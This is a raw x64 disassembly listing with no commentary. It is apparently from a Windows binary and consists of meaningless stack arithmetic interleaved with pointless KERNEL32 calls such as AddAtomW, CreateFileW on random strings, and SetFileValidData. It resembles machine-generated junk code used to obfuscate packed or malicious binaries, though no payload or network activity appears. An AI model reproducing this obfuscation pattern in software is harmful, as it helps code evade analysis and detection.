mov byte [rsp + 0x566], al
movsx eax, word [rsp + 0x1dc8]
mov rcx, qword [rsp + 0x15638]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2104], ax
mov rax, qword [rsp + 0x153e8]
movzx eax, word [rax]
mov word [rsp + 0x3188], ax
mov rax, qword [rsp + 0x14470]
movzx eax, byte [rax]
movzx ecx, byte [0x14028ee18]
sub eax, ecx
mov byte [rsp + 0x6a3], al
mov eax, dword [rsp + 0x6480]
mov dword [rsp + 0xb310], eax
mov rax, qword [rsp + 0x14490]
mov ecx, dword [rsp + 0xa5dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028276c], eax
mov rax, qword [0x14028ee50]
mov rcx, qword [rsp + 0x14748]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaec0], eax
mov rax, qword [rsp + 0x156c0]
mov ecx, dword [rsp + 0x9b0c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x976c], eax
lea rax, [rsp + 0xa674]
mov qword [rsp + 0x156d8], rax
lea rcx, str.LMxbtpE_IVX_ZGakn
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x318c], ax
mov rax, qword [rsp + 0x148d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x300c], ax
lea rax, [rsp + 0x711]
mov qword [rsp + 0x156e0], rax
mov rax, qword [rsp + 0x14768]
mov rcx, qword [rsp + 0x149a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15618]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x14408]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14ef8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14028ec0c]
shr eax, cl
mov dword [rsp + 0x65ac], eax
mov eax, dword [rsp + 0x9f14]
mov dword [rsp + 0xb314], eax
mov rax, qword [rsp + 0x140f0]
mov ecx, dword [rsp + 0xac70]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140282988], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, byte [0x140281e9f]
mov rcx, qword [rsp + 0x14338]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x646], al
mov rax, qword [rsp + 0x14c90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e40]
shl eax, cl
mov word [rsp + 0x1eb0], ax
mov rax, qword [rsp + 0x14648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1454]
sub eax, ecx
mov word [rsp + 0x30bc], ax
mov rax, qword [rsp + 0x14db8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x150d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x75e], al
mov eax, dword [rsp + 0xa4ac]
mov dword [rsp + 0xb318], eax
mov rax, qword [0x14028eb78]
mov ecx, dword [rsp + 0xa484]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa6e4], eax
movzx eax, byte [rsp + 0x6d7]
mov byte [rsp + 0x7a9], al
lea rcx, str.Vjl_HjqOe_HE.LQXAuIL
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x30cc], ax
mov rax, qword [rsp + 0x14708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14650]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d18], ax
mov rax, qword [rsp + 0x156c0]
mov eax, dword [rax]
mov ecx, dword [0x14028283c]
add ecx, eax
mov eax, ecx
mov dword [0x14028ed34], eax
mov rax, qword [rsp + 0x147a0]
mov rcx, qword [rsp + 0x14f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x87c8], eax
mov rax, qword [rsp + 0x144d8]
mov ecx, dword [rsp + 0xac08]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb0bc], eax
mov eax, dword [rsp + 0xaaec]
mov ecx, dword [rsp + 0xa3f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb1f4], eax
movzx eax, word [rsp + 0x2c90]
mov word [rsp + 0x3190], ax
movzx eax, byte [0x140281e3a]
movzx ecx, byte [rsp + 0xb3]
add eax, ecx
mov byte [rsp + 0x797], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov eax, dword [rsp + 0xa804]
mov dword [rsp + 0xb31c], eax
mov eax, dword [rsp + 0xaef0]
mov ecx, dword [rsp + 0x8c08]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa64c], eax
mov rax, qword [rsp + 0x14a40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9834]
shl eax, cl
mov rcx, qword [rsp + 0x140b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147a8]
mov ecx, dword [rsp + 0xad70]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14028298c], eax
mov rax, qword [rsp + 0x145d8]
mov rcx, qword [rsp + 0x14cb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x65b0], eax
movsx eax, byte [rsp + 0x335]
mov rcx, qword [rsp + 0x146d0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3f8], al
movzx eax, word [rsp + 0x3120]
mov word [rsp + 0x3194], ax
movzx eax, byte [rsp + 0x437]
movzx ecx, byte [0x14028ee18]
add eax, ecx
mov rcx, qword [rsp + 0x13f68]
mov byte [rcx], al
mov rax, qword [rsp + 0x14918]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15288]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ed0], ax
mov rax, qword [rsp + 0x14f68]
mov eax, dword [rax]
mov dword [rsp + 0xb320], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [0x140282984]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa60c], eax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b6]
add eax, ecx
mov byte [rsp + 0x401], al
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov rcx, qword [0x14028ec48]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14028eb04], ax
mov rax, qword [rsp + 0x14b50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4a8], eax
mov rax, qword [rsp + 0x148e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa910]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf28], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14028eb48]
mov eax, dword [rax]
mov dword [rsp + 0xb324], eax
mov rax, qword [rsp + 0x14880]
mov rcx, qword [rsp + 0x155d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb1ac], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
movzx eax, byte [rsp + 0x33b]
mov byte [rsp + 0x7aa], al
mov rax, qword [rsp + 0x14e60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15350]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b68], ax
mov eax, dword [rsp + 0xacf0]
mov ecx, dword [rsp + 0xa54c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x687c], eax
mov eax, dword [rsp + 0xaae8]
mov ecx, dword [rsp + 0xad4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14858]
mov dword [rcx], eax
lea rax, [rsp + 0x553]
mov qword [0x14028eaa8], rax
mov rax, qword [rsp + 0x14190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2f50]
or eax, ecx
mov word [rsp + 0x2008], ax
mov rax, qword [rsp + 0x152c0]
movzx eax, word [rax]
mov word [rsp + 0x3198], ax
movzx eax, byte [rsp + 0x451]
mov rcx, qword [rsp + 0x14b08]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x149c8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov eax, dword [rsp + 0xa8c4]
mov dword [rsp + 0xb328], eax
mov rax, qword [rsp + 0x153f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x149d8]
mov qword [rsp + 0x156e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x156e8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xb080], eax
mov eax, dword [rsp + 0xadf0]
mov ecx, dword [0x1402827ec]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xafa4], eax
mov eax, dword [rsp + 0x86f8]
mov dword [rsp + 0xb32c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [rsp + 0xa6bc]
mov ecx, dword [rsp + 0xb098]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e6c], eax
movzx eax, word [0x1402827b4]
mov rcx, qword [rsp + 0x14cf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x19f4], ax
mov rax, qword [rsp + 0x14900]
movzx eax, byte [rax]
mov byte [0x14028eaa4], al
mov rax, qword [rsp + 0x14d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ad8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xae8c], eax
mov rax, qword [rsp + 0x14e30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacfc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8f4], eax
mov rax, qword [rsp + 0x14a88]
mov eax, dword [rax]
mov dword [rsp + 0xb330], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14028ec18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x97b0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14d50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14a00]
movzx eax, word [rax]
mov word [rsp + 0x319c], ax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2de]
add eax, ecx
mov byte [rsp + 0x325], al
movsx eax, word [rsp + 0x1d44]
mov rcx, qword [rsp + 0x15270]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2450], ax
movsx eax, byte [rsp + 0x753]
movsx ecx, byte [rsp + 0x66c]
add eax, ecx
mov byte [rsp + 0x741], al
mov rax, qword [rsp + 0x15428]
mov rcx, qword [rsp + 0x142b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028edd8], eax
mov eax, dword [rsp + 0xa900]
movzx ecx, al
mov eax, dword [0x1402827dc]
sar eax, cl
mov dword [rsp + 0x989c], eax
movzx eax, word [rsp + 0x2d84]
mov word [rsp + 0x31a0], ax
mov rax, qword [rsp + 0x14890]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15658]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6f4], al
mov rax, qword [rsp + 0x15528]
mov eax, dword [rax]
mov dword [rsp + 0xb334], eax
mov eax, dword [rsp + 0xb1d8]
mov rcx, qword [rsp + 0x14618]
mov qword [rsp + 0x156f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x156f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x976c], eax
mov rax, qword [rsp + 0x149a8]
mov rcx, qword [0x14028ecc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xb088], eax
mov rax, qword [rsp + 0x142d8]
mov ecx, dword [rsp + 0x7e6c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9ee8], eax
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1590]
sub eax, ecx
mov word [rsp + 0x2d90], ax
mov rax, qword [rsp + 0x15578]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x147c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281ecb], al
mov eax, dword [rsp + 0xb0c8]
mov dword [rsp + 0xb338], eax
mov rax, qword [rsp + 0x14438]
mov rcx, qword [rsp + 0x14f28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xacfc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [0x14028ebc8]
mov rcx, qword [rsp + 0x15498]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa9a4], eax
mov eax, dword [rsp + 0xaff4]
mov dword [rsp + 0xb33c], eax
mov rax, qword [rsp + 0x14a30]
mov rcx, qword [rsp + 0x14988]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7c4], eax
mov rax, qword [rsp + 0x15150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c10]
sub eax, ecx
mov word [rsp + 0x1ef4], ax
mov rax, qword [rsp + 0x14d70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6da]
add eax, ecx
mov byte [rsp + 0x753], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa444], eax
movzx eax, byte [rsp + 0x644]
mov rcx, qword [rsp + 0x155e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x75f], al
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x247c]
sub eax, ecx
mov word [0x140282990], ax
mov rax, qword [rsp + 0x154c8]
mov eax, dword [rax]
mov dword [rsp + 0xb340], eax
movzx ecx, word [rsp + 0x2ddc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ecc], ax
mov rax, qword [rsp + 0x147d0]
mov rcx, qword [rsp + 0x14a70]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8680], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.vy8tIAQhkEuVhJDw
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x156f8], rax
mov rax, qword [rsp + 0x154b8]
movzx eax, word [rax]
mov word [rsp + 0x31a4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0x14dc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x737]
sar eax, cl
mov byte [rsp + 0x71e], al
mov eax, dword [0x14028270c]
mov dword [rsp + 0xb344], eax
mov rcx, qword [rsp + 0x144c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0xaa4c]
movzx ecx, al
mov eax, dword [rsp + 0xad30]
shl eax, cl
mov dword [rsp + 0x89b8], eax
mov rax, qword [rsp + 0x14e30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb088]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9b0], eax
mov rax, qword [0x14028ee90]
mov ecx, dword [rsp + 0xab94]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8e78], eax
mov rax, qword [rsp + 0x15440]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5cb]
sub eax, ecx
mov byte [0x140281e1a], al
movzx eax, word [rsp + 0x1bbc]
movzx ecx, word [rsp + 0x2d3c]
add eax, ecx
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0x144a8]
mov eax, dword [rax]
mov dword [rsp + 0xb348], eax
mov rax, qword [rsp + 0x14420]
mov ecx, dword [rsp + 0x7350]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8a8], eax
movsx eax, word [rsp + 0x155c]
mov rcx, qword [rsp + 0x155a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2e38], ax
mov rax, qword [rsp + 0x140b0]
movzx eax, byte [rax]
mov byte [rsp + 0x7ab], al
movzx eax, word [rsp + 0x2d58]
mov rcx, qword [rsp + 0x153e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3170], ax
movzx eax, byte [0x14028eb24]
movzx ecx, byte [rsp + 0x6e9]
and eax, ecx
mov byte [rsp + 0x575], al
mov rax, qword [rsp + 0x148c0]
mov ecx, dword [rsp + 0xa588]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa3f0], eax
mov edx, 0x28d32a
mov rcx, qword [rsp + 0x14af0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xad74], eax
mov rax, qword [rsp + 0x14aa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb2ac]
add ecx, eax
mov eax, ecx
mov dword [0x140282880], eax
mov eax, dword [rsp + 0xaf30]
mov ecx, dword [rsp + 0xaa74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x14cd8]
mov eax, dword [rax]
mov dword [rsp + 0xb34c], eax
mov rax, qword [rsp + 0x151e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaa64]
sar eax, cl
mov dword [rsp + 0x8348], eax
movzx eax, byte [rsp + 0x550]
mov byte [rsp + 0x7ac], al
movzx eax, word [rsp + 0x2a14]
movzx ecx, word [rsp + 0x3148]
xor eax, ecx
mov word [rsp + 0x2d8c], ax
mov dword [rsp + 0x24e90], 0x114
mov eax, dword [rsp + 0xb258]
mov rcx, qword [0x14028ec98]
mov qword [rsp + 0x15700], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15700]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xaeb4], eax
lea rcx, [rsp + 0x22668]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0xae1c]
mov ecx, dword [rsp + 0xaa4c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x710c], eax
mov eax, dword [rsp + 0xb1d4]
mov ecx, dword [rsp + 0xa438]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6b4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7487
mov rcx, qword [rsp + 0x14208]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa7e0], eax
mov eax, dword [rsp + 0xa5ec]
mov dword [0x14028eaa0], eax
mov rax, qword [rsp + 0x147b0]
movzx eax, word [rax]
mov word [rsp + 0x31a8], ax
mov rax, qword [rsp + 0x153a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x64b]
add eax, ecx
mov byte [rsp + 0x156], al
lea rax, [0x14028eadc]
mov qword [rsp + 0x15708], rax
movsx eax, byte [rsp + 0x672]
movsx ecx, byte [rsp + 0x6b0]
add eax, ecx
mov byte [rsp + 0x734], al
mov rax, qword [rsp + 0x156c0]
mov ecx, dword [rsp + 0xb034]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7ef8], eax
mov rax, qword [0x14028ed40]
mov eax, dword [rax]
mov dword [rsp + 0xb350], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15710], rax
movzx eax, word [rsp + 0x3014]
movzx ecx, word [rsp + 0x2cb4]
add eax, ecx
mov word [rsp + 0x3140], ax
movzx eax, byte [rsp + 0x6b2]
movzx ecx, byte [0x14028ec58]
sub eax, ecx
mov byte [rsp + 0x429], al
mov rax, qword [rsp + 0x141c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb0b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14028ece0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0x14630]
mov rcx, qword [rsp + 0x14988]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14d60]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa954]
mov ecx, dword [rsp + 0xad2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7fc], eax
mov rax, qword [rsp + 0x14ec8]
mov eax, dword [rax]
mov dword [rsp + 0xb354], eax
mov rax, qword [rsp + 0x14808]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14dc0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4a5], al
lea rax, [rsp + 0x2040]
mov qword [rsp + 0x15718], rax
mov rax, qword [rsp + 0x14ed0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa730]
sar eax, cl
mov dword [rsp + 0xadb0], eax
mov eax, dword [rsp + 0xa02c]
mov rcx, qword [rsp + 0x14d58]
mov qword [rsp + 0x15720], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15720]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa650], eax
lea rax, [0x14028ec0c]
mov qword [rsp + 0x15728], rax
lea rax, [rsp + 0xa3e8]
mov qword [0x14028ea98], rax
mov eax, dword [rsp + 0xaa98]
mov ecx, dword [rsp + 0xa95c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8d4], eax
movzx eax, byte [0x140281e3f]
mov byte [rsp + 0x7ad], al
lea rcx, [rsp + 0x226f8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [rsp + 0x2c54]
mov rcx, qword [rsp + 0x15510]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c28], ax
movzx eax, word [rsp + 0x310c]
movzx ecx, word [rsp + 0x3128]
and eax, ecx
mov word [rsp + 0x1b08], ax
mov rax, qword [0x14028ed80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14460]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x144b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0xb34c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa3c4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov eax, dword [rsp + 0xa674]
mov dword [rsp + 0xb358], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb35c], eax
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15378]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2f4c], ax
movzx eax, byte [rsp + 0x550]
mov rcx, qword [rsp + 0x14fc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281db3], al
mov eax, dword [rsp + 0xa370]
mov dword [rsp + 0xb360], eax
mov rax, qword [rsp + 0x15198]
mov rcx, qword [rsp + 0x14820]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15580]
mov dword [rcx], eax
mov eax, dword [rsp + 0xadd0]
mov ecx, dword [rsp + 0xaa74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb330], eax
mov rax, qword [0x14028ece0]
mov eax, dword [rax]
mov dword [rsp + 0xb364], eax
mov rax, qword [rsp + 0x14548]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
add eax, ecx
mov byte [rsp + 0x72e], al
mov rax, qword [rsp + 0x153c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ed4]
and eax, ecx
mov word [rsp + 0x2254], ax
mov rax, qword [rsp + 0x14578]
mov eax, dword [rax]
mov rcx, qword [0x14028ea98]
mov qword [rsp + 0x15730], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15730]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa6bc], eax
mov rax, qword [rsp + 0x15698]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa420]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xb188], eax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
mov rcx, qword [0x14028eb18]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x140281ece], al
mov rax, qword [rsp + 0x142b0]
movzx eax, word [rax]
mov word [rsp + 0x31ac], ax
movzx eax, word [rsp + 0x3124]
mov rcx, qword [rsp + 0x14498]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x311c], ax
mov rax, qword [rsp + 0x15598]
movzx eax, byte [rax]
mov byte [rsp + 0x7ae], al
mov rax, qword [rsp + 0x14440]
mov rcx, qword [rsp + 0x14ea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa9dc], eax
mov rax, qword [rsp + 0x15170]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ad8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9794], eax
mov rax, qword [0x14028eac0]
mov rcx, qword [rsp + 0x14580]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7398], eax
mov rax, qword [rsp + 0x14b68]
mov ecx, dword [rsp + 0x9f14]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x71a4], eax
mov rax, qword [rsp + 0x14e90]
mov eax, dword [rax]
mov dword [rsp + 0xb368], eax
movzx eax, byte [0x140281e8b]
mov rcx, qword [rsp + 0x145a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x694], al
lea rcx, [rsp + 0x21b08]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx ecx, word [rsp + 0x2b44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c98], ax
movzx eax, word [rsp + 0x2dbc]
movzx ecx, word [rsp + 0x31a4]
add eax, ecx
mov word [0x140282898], ax
lea rax, [rsp + 0x9590]
mov qword [rsp + 0x15738], rax
mov rax, qword [0x14028ee50]
mov rcx, qword [rsp + 0x15108]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb0c4], eax
mov rax, qword [rsp + 0x14f70]
mov ecx, dword [rsp + 0x92ec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad2c], eax
mov rax, qword [rsp + 0x148c0]
mov eax, dword [rax]
mov dword [rsp + 0xb36c], eax
movzx eax, byte [rsp + 0x64d]
mov rcx, qword [rsp + 0x141a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x700], al
mov rcx, qword [rsp + 0x14fa0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x1588]
mov rcx, qword [rsp + 0x14e78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x18b4], ax
movsx eax, byte [0x140281e3f]
mov rcx, qword [rsp + 0x14db8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6cb], al
mov rax, qword [rsp + 0x15668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x282c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.zLuvuhddqYdfCt2ZsWkIOrCbINkH6t
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15740], rax
mov eax, dword [rsp + 0xa384]
mov ecx, dword [rsp + 0xb010]
xor ecx, eax
mov eax, ecx
mov dword [0x140282994], eax
mov eax, dword [rsp + 0x68c8]
mov dword [rsp + 0xb370], eax
movzx eax, word [rsp + 0x3148]
mov rcx, qword [rsp + 0x15148]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x300c], ax
mov edx, 0x1ea5ad
mov rcx, qword [rsp + 0x14c48]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xae90], eax
lea rax, [rsp + 0x6d0]
mov qword [rsp + 0x15748], rax
mov rax, qword [rsp + 0x147a8]
mov ecx, dword [rsp + 0xad9c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15300]
mov dword [rcx], eax
mov eax, dword [rsp + 0xae30]
mov ecx, dword [rsp + 0xab98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb094], eax
mov eax, dword [rsp + 0x82f8]
mov dword [rsp + 0xb374], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xafb4], eax
mov rax, qword [rsp + 0x14e48]
mov eax, dword [rax]
mov ecx, dword [0x14028298c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa398], eax
movzx eax, byte [rsp + 0x6bc]
mov rcx, qword [rsp + 0x149c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x313], al
lea rax, [rsp + 0x2e9c]
mov qword [0x14028ea90], rax
mov rax, qword [rsp + 0x14730]
mov rcx, qword [rsp + 0x149d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8c5c], eax
